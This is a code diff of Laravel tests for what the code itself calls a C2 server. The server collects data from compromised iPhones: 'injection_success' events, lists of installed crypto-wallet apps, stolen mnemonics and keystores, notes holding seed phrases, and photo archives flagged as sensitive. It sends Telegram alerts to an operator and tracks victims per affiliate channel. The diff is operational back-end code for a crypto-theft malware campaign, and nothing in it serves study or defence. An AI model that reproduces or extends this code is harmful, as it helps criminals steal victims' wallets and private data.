|
||||
$this->assertNull($response->json('data.channel_name'));
|
||||
$this->assertSame('/weifile/weifile.html', $response->json('data.weifile_path'));
|
||||
$this->assertNull($response->json('data.weifile_path'));
|
||||
$this->assertNotEmpty($response->json('data.download_url'));
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID);
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_new_builder_keeps_shared_weifile(): void
|
||||
public function destroy_new_builder_deletes_zip_not_details(): void
|
||||
{
|
||||
Process::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => null,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
|
||||
if (! is_dir($zipDir)) {
|
||||
mkdir($zipDir, 0775, true);
|
||||
}
|
||||
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
|
||||
file_put_contents($zip, 'zip');
|
||||
$details = storage_path('app/channel-artifacts-test/details');
|
||||
if (! is_dir($details)) {
|
||||
mkdir($details, 0775, true);
|
||||
}
|
||||
file_put_contents($details.'/show.html', 'keep');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->delete(route('admin.channels.destroy', $channel))
|
||||
@@ -468,23 +515,16 @@ class ChannelProjectServiceTest extends TestCase
|
||||
return str_contains($joined, 'delete_channel.py')
|
||||
|| str_contains($joined, 'delete_channel_web.py');
|
||||
});
|
||||
$this->assertFileDoesNotExist($zip);
|
||||
$this->assertFileExists($details.'/show.html');
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function random_channel_name_is_unique_and_not_reserved(): void
|
||||
public function reserved_names_cannot_be_new_channel_ids(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'taken123',
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$name = Channel::randomChannelName();
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', $name);
|
||||
$this->assertNotSame('taken123', $name);
|
||||
$this->assertFalse(Channel::isReservedChannelName($name));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
|
||||
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -46,6 +47,47 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_notifies_telegram_when_x_hit_is_12(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-hit12']);
|
||||
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
||||
|
||||
$ingest = app(IngestService::class);
|
||||
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
Http::assertNothingSent();
|
||||
|
||||
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Sensitive Photo')
|
||||
&& str_contains($text, 'dev-hit12')
|
||||
&& str_contains($text, 'x-hit</b>: 12');
|
||||
});
|
||||
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
|
||||
$text = (string) ($pair[0]->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Sensitive Photo');
|
||||
})->count());
|
||||
|
||||
@unlink($tmp);
|
||||
@unlink($tmp2);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_toggle_album_storage(): void
|
||||
{
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceDeleteTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function admin_can_delete_device_and_related_data(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-del-1', 'channel_id' => '86C1AAD5']);
|
||||
|
||||
$photoPath = 'c2/photos/dev-del-1/hit.jpg';
|
||||
$checkPath = 'c2/check/dev-del-1/pack/file.bin';
|
||||
Storage::disk('local')->put($photoPath, "\xFF\xD8\xFF\xD9");
|
||||
Storage::disk('local')->put($checkPath, 'x');
|
||||
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', 'x'),
|
||||
'path' => $photoPath,
|
||||
'size' => 4,
|
||||
]);
|
||||
DeviceApp::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'bundle_id' => 'im.token.app',
|
||||
'name' => 'imToken',
|
||||
]);
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => 'dev-del-1',
|
||||
'event_name' => 'injection_success',
|
||||
]);
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => ['text' => 'hello'],
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'Txxx',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'TRX',
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
'mnemonic_hash' => hash('sha256', 'abandon'),
|
||||
'mnemonic_enc' => 'enc',
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => ['k' => 1],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->deleteJson(route('admin.devices.destroy', $device))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertNull(Device::query()->find($device->id));
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
$this->assertSame(0, DeviceApp::query()->count());
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertSame(0, Note::query()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->count());
|
||||
$this->assertSame(0, WalletMnemonic::query()->count());
|
||||
$this->assertSame(0, WalletKeystore::query()->count());
|
||||
Storage::disk('local')->assertMissing($photoPath);
|
||||
Storage::disk('local')->assertMissing($checkPath);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_delete_other_channel_device(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_del',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$other = Device::query()->create([
|
||||
'device_id' => 'dev-other-del',
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->deleteJson(route('user.devices.destroy', $other))
|
||||
->assertForbidden();
|
||||
|
||||
$this->assertNotNull(Device::query()->find($other->id));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceWalletFlagTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function new_device_wallet_flag_is_unknown(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-unknown']);
|
||||
|
||||
$this->assertSame(Device::WALLET_UNKNOWN, (int) $device->has_wallet);
|
||||
$this->assertSame([], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function applist_without_plugin_wallets_marks_none(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-none']);
|
||||
|
||||
app(IngestService::class)->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '17'],
|
||||
['a' => 'Foo Wallet', 'b' => 'com.foo.somecoinwallet', 'v' => '1'],
|
||||
['a' => 'Telegram', 'b' => 'ph.telegra.Telegraph', 'v' => '10'],
|
||||
],
|
||||
]);
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
|
||||
$this->assertSame([], $device->walletNameList());
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet'));
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet'));
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-yes']);
|
||||
$ingest = app(IngestService::class);
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
|
||||
Http::assertNothingSent();
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
|
||||
['a' => 'imToken', 'b' => 'im.token.app'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['MetaMask', 'imToken'], $device->walletNameList());
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Trust', 'b' => 'com.sixdays.trust'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(['MetaMask', 'Trust Wallet', 'imToken'], $device->walletNameList());
|
||||
|
||||
$walletAlerts = 0;
|
||||
Http::assertSent(function ($request) use (&$walletAlerts) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
if (str_contains($text, 'Installed Wallets')) {
|
||||
$walletAlerts++;
|
||||
$this->assertStringContainsString('MetaMask', $text);
|
||||
$this->assertStringContainsString('imToken', $text);
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
$this->assertSame(1, $walletAlerts);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_filter_devices_by_wallet_flag(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create(['device_id' => 'dev-unknown', 'has_wallet' => Device::WALLET_UNKNOWN]);
|
||||
Device::query()->create(['device_id' => 'dev-none', 'has_wallet' => Device::WALLET_NONE]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-yes',
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
'wallet_names' => ['MetaMask', 'TronLink'],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_YES]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-yes')
|
||||
->assertJsonPath('data.0.has_wallet', Device::WALLET_YES)
|
||||
->assertJsonPath('data.0.wallet_names', ['MetaMask', 'TronLink']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_NONE]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-none');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_UNKNOWN]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-unknown');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class NewBuilderIngestTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
|
||||
|
||||
private const CHANNEL_ID = 'FAFA9988';
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_uses_recent_visit_not_native_c(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], json_encode([
|
||||
'channelCode' => 'fafa9988',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'landing.example',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
]))->assertOk();
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
'm' => 'iPhone12,8',
|
||||
'pv' => '16.6',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
$this->assertSame('landing.example', $device->source_domain);
|
||||
$this->assertNotSame(self::SHARED_C, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_without_visit_is_still_created(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertNull($device->source_domain);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function old_builder_put_still_writes_payload_c(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600001';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::SHARED_C, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function claimed_visit_is_not_reused_by_second_device(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '127.0.0.1',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '111C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
|
||||
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
|
||||
$this->assertNull($second->channel_id);
|
||||
$this->assertNotNull($second);
|
||||
}
|
||||
}
|
||||
@@ -35,7 +35,8 @@ class PageVisitTest extends TestCase
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(self::CHANNEL, $row->channel_id);
|
||||
$this->assertSame('11111111-2222-4333-8444-555555555555', $row->client_uid);
|
||||
$this->assertSame(PageVisit::visitorUid($row->domain ?? 'localhost', $row->ip), $row->client_uid);
|
||||
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($row->client_uid));
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertSame('Safari', $row->browser);
|
||||
@@ -79,6 +80,20 @@ class PageVisitTest extends TestCase
|
||||
$this->assertSame('https://search.example/q=ios', $row->referer);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visitor_uid_is_stable_for_domain_and_ip(): void
|
||||
{
|
||||
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
|
||||
$b = PageVisit::visitorUid('https://xxbb.tv/path', '203.0.113.9');
|
||||
$c = PageVisit::visitorUid('xxbb.tv', '203.0.113.10');
|
||||
$d = PageVisit::visitorUid('other.tv', '203.0.113.9');
|
||||
|
||||
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($a));
|
||||
$this->assertSame($a, $b);
|
||||
$this->assertNotSame($a, $c);
|
||||
$this->assertNotSame($a, $d);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_debounces_duplicate_uid(): void
|
||||
{
|
||||
|
||||
@@ -5,13 +5,18 @@ namespace Tests\Feature;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -59,10 +64,44 @@ class XxbbC2ApiTest extends TestCase
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('56885688', $row->channel_id);
|
||||
$this->assertSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('xxbb.tv', $row->path);
|
||||
$this->assertSame('xxbb.tv', $row->domain);
|
||||
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
|
||||
$this->assertNotSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertNull($row->session_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_dedupes_by_session_id(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$body = [
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
];
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode([
|
||||
...$body,
|
||||
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertSame(2, PageVisit::query()->count());
|
||||
$this->assertSame(
|
||||
'11111111-2222-4333-8444-555555555555',
|
||||
PageVisit::query()->orderBy('id')->value('session_id'),
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -96,7 +135,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
|
||||
$this->assertNull($device->channel_id);
|
||||
|
||||
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($ev);
|
||||
@@ -121,6 +160,8 @@ class XxbbC2ApiTest extends TestCase
|
||||
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
|
||||
$this->assertNotNull($app);
|
||||
$this->assertSame('imToken', $app->name);
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['imToken'], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -195,4 +236,178 @@ class XxbbC2ApiTest extends TestCase
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function nb_ingests_notes(): void
|
||||
{
|
||||
$this->xxbbPost('/nb', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'list' => [
|
||||
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
||||
'second note line',
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
||||
$note = Note::query()->where('device_id', $device->id)->first();
|
||||
$this->assertIsArray($note->content);
|
||||
$this->assertCount(2, $note->content);
|
||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_ingests_mnemonic(): void
|
||||
{
|
||||
$this->xxbbPost('/result', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('imToken', $row->source);
|
||||
$this->assertStringContainsString('abandon', $row->mnemonic);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function t_extracts_photo_archive_and_stores_file(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = $this->xxbbCrypto();
|
||||
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/t',
|
||||
[
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'batchBase' => '0',
|
||||
'idx' => '000001000000',
|
||||
'ftu' => '000001000000',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$photo = Photo::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($photo);
|
||||
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||
$this->assertSame(4, $photo->size);
|
||||
$this->assertSame(12, $photo->x_hit);
|
||||
$this->assertSame(1, $photo->upload_count);
|
||||
$this->assertSame(0, $photo->process_index);
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function us_ingests_tronlink_mnemonic(): void
|
||||
{
|
||||
$this->xxbbPost('/us', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'c',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
